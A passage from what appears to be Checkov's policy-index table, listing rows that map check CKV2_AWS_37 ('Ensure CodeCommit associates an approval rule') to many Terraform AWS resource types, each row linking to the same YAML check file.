[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2106 | CKV2_AWS_37 | resource | aws_s3tables_table_bucket_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2107 | CKV2_AWS_37 | resource | aws_s3tables_table_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2108 | CKV2_AWS_37 | resource | aws_sagemaker_app | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2109 | CKV2_AWS_37 | resource | aws_sagemaker_app_image_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2110 | CKV2_AWS_37 | resource | aws_sagemaker_code_repository | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2111 | CKV2_AWS_37 | resource | aws_sagemaker_data_quality_job_definition | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2112 | CKV2_AWS_37 | resource | aws_sagemaker_device | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2113 | CKV2_AWS_37 | resource | aws_sagemaker_device_fleet | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2114 | CKV2_AWS_37 | resource | aws_sagemaker_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2115 | CKV2_AWS_37 | resource | aws_sagemaker_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2116 | CKV2_AWS_37 | resource | aws_sagemaker_endpoint_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2117 | CKV2_AWS_37 | resource | aws_sagemaker_feature_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2118 | CKV2_AWS_37 | resource | aws_sagemaker_flow_definition | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2119 | CKV2_AWS_37 | resource | aws_sagemaker_hub | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2120 | CKV2_AWS_37 | resource | aws_sagemaker_human_task_ui | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2121 | CKV2_AWS_37 | resource | aws_sagemaker_image | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2122 | CKV2_AWS_37 | resource | aws_sagemaker_image_version | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2123 | CKV2_AWS_37 | resource | aws_sagemaker_mlflow_tracking_server | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2124 | CKV2_AWS_37 | resource | aws_sagemaker_model | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2125 | CKV2_AWS_37 | resource | aws_sagemaker_model_package_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2126 | CKV2_AWS_37 | resource | aws_sagemaker_model_package_group_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2127 | CKV2_AWS_37 | resource | aws_sagemaker_monitoring_schedule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2128 | CKV2_AWS_37 | resource | aws_sagemaker_notebook_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2129 | CKV2_AWS_37 | resource | aws_sagemaker_notebook_instance_lifecycle_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2130 | CKV2_AWS_37 | resource | aws_sagemaker_pipeline | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2131 | CKV2_AWS_37 | resource | aws_sagemaker_project | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2132 | CKV2_AWS_37 | resource | aws_sagemaker_servicecatalog_portfolio_status | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2133 | CKV2_AWS_37 | resource | aws_sagemaker_space | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2134 | CKV2_AWS_37 | resource | aws_sagemaker_studio_lifecycle_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2135 | CKV2_AWS_37 | resource | aws_sagemaker_user_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2136 | CKV2_AWS_37 | resource | aws_sagemaker_workforce | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2137 | CKV2_AWS_37 | resource | aws_sagemaker_workteam | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2138 | CKV2_AWS_37 | resource | aws_scheduler_schedule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2139 | CKV2_AWS_37 | resource | aws_scheduler_schedule_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2140 | CKV2_AWS_37 | resource | aws_schemas_discoverer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2141 | CKV2_AWS_37 | resource | aws_schemas_registry | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2142 | CKV2_AWS_37 | resource | aws_schemas_registry_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2143 | CKV2_AWS_37 | resource | aws_schemas_schema | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2144 | CKV2_AWS_37 | resource | aws_secretsmanager_secret | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2145 | CKV2_AWS_37 | resource | aws_secretsmanager_secret_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2146 | CKV2_AWS_37 | resource | aws_secretsmanager_secret_rotation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2147 | CKV2_AWS_37 | resource | aws_secretsmanager_secret_version | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2148 | CKV2_AWS_37 | resource | aws_security_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2149 | CKV2_AWS_37 | resource | aws_security_group_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2150 | CKV2_AWS_37 | resource | aws_securityhub_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2151 | CKV2_AWS_37 | resource | aws_securityhub_action_target | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2152 | CKV2_AWS_37 | resource | aws_securityhub_automation_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2153 | CKV2_AWS_37 | resource | aws_securityhub_configuration_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2154 | CKV2_AWS_37 | resource | aws_securityhub_configuration_policy_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2155 | CKV2_AWS_37 | resource | aws_securityhub_finding_aggregator | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2156 | CKV2_AWS_37 | resource | aws_securityhub_insight | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2157 | CKV2_AWS_37 | resource | aws_securityhub_invite_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2158 | CKV2_AWS_37 | resource | aws_securityhub_member | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2159 | CKV2_AWS_37 | resource | aws_securityhub_organization_admin_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2160 | CKV2_AWS_37 | resource | aws_securityhub_organization_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2161 | CKV2_AWS_37 | resource | aws_securityhub_product_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2162 | CKV2_AWS_37 | resource | aws_securityhub_standards_control | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2163 | CKV2_AWS_37 | resource | aws_securityhub_standards_control_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2164 | CKV2_AWS_37 | resource | aws_securityhub_standards_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2165 | CKV2_AWS_37 | resource | aws_securitylake_aws_log_source | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2166 | CKV2_AWS_37 | resource | aws_securitylake_custom_log_source | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2167 | CKV2_AWS_37 | resource | aws_securitylake_data_lake | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2168 | CKV2_AWS_37 | resource | aws_securitylake_subscriber | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2169 | CKV2_AWS_37 | resource | aws_securitylake_subscriber_notification | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2170 | CKV2_AWS_37 | resource | aws_serverlessapplicationrepository_cloudformation_stack | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2171 | CKV2_AWS_37 | resource | aws_service_discovery_http_namespace | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2172 | CKV2_AWS_37 | resource | aws_service_discovery_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2173 | CKV2_AWS_37 | resource | aws_service_discovery_private_dns_namespace | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2174 | CKV2_AWS_37 | resource | aws_service_discovery_public_dns_namespace | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2175 | CKV2_AWS_37 | resource | aws_service_discovery_service | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2176 | CKV2_AWS_37 | resource | aws_servicecatalog_budget_resource_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2177 | CKV2_AWS_37 | resource | aws_servicecatalog_constraint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2178 | CKV2_AWS_37 | resource | aws_servicecatalog_organizations_access | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2179 | CKV2_AWS_37 | resource | aws_servicecatalog_portfolio | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2180 | CKV2_AWS_37 | resource | aws_servicecatalog_portfolio_share | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2181 | CKV2_AWS_37 | resource | aws_servicecatalog_principal_portfolio_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2182 | CKV2_AWS_37 | resource | aws_servicecatalog_product | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2183 | CKV2_AWS_37 | resource | aws_servicecatalog_product_portfolio_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2184 | CKV2_AWS_37 | resource | aws_servicecatalog_provisioned_product | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2185 | CKV2_AWS_37 | resource | aws_servicecatalog_provisioning_artifact | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2186 | CKV2_AWS_37 | resource | aws_servicecatalog_service_action | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2187 | CKV2_AWS_37 | resource | aws_servicecatalog_tag_option | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2188 | CKV2_AWS_37 | resource | aws_servicecatalog_tag_option_resource_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2189 | CKV2_AWS_37 | resource | aws_servicecatalogappregistry_application | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2190 | CKV2_AWS_37 | resource | aws_servicecatalogappregistry_attribute_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2191 | CKV2_AWS_37 | resource | aws_servicecatalogappregistry_attribute_group_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2192 | CKV2_AWS_37 | resource | aws_servicequotas_service_quota | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2193 | CKV2_AWS_37 | resource | aws_servicequotas_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2194 | CKV2_AWS_37 | resource | aws_servicequotas_template_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2195 | CKV2_AWS_37 | resource | aws_ses_active_receipt_rule_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2196 | CKV2_AWS_37 | resource | aws_ses_configuration_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2197 | CKV2_AWS_37 | resource | aws_ses_domain_dkim | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2198 | CKV2_AWS_37 | resource | aws_ses_domain_identity | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2199 | CKV2_AWS_37 | resource | aws_ses_domain_identity_verification | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2200 | CKV2_AWS_37 | resource | aws_ses_domain_mail_from | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2201 | CKV2_AWS_37 | resource | aws_ses_email_identity | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2202 | CKV2_AWS_37 | resource | aws_ses_event_destination | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2203 | CKV2_AWS_37 | resource | aws_ses_identity_notification_topic | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2204 | CKV2_AWS_37 | resource | aws_ses_identity_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2205 | CKV2_AWS_37 | resource | aws_ses_receipt_filter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2206 | CKV2_AWS_37 | resource | aws_ses_receipt_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2207 | CKV2_AWS_37 | resource | aws_ses_receipt_rule_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2208 | CKV2_AWS_37 | resource | aws_ses_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2209 | CKV2_AWS_37 | resource | aws_sesv2_account_suppression_attributes | Ensure CodeCommit associates an approval rule | Terraform | 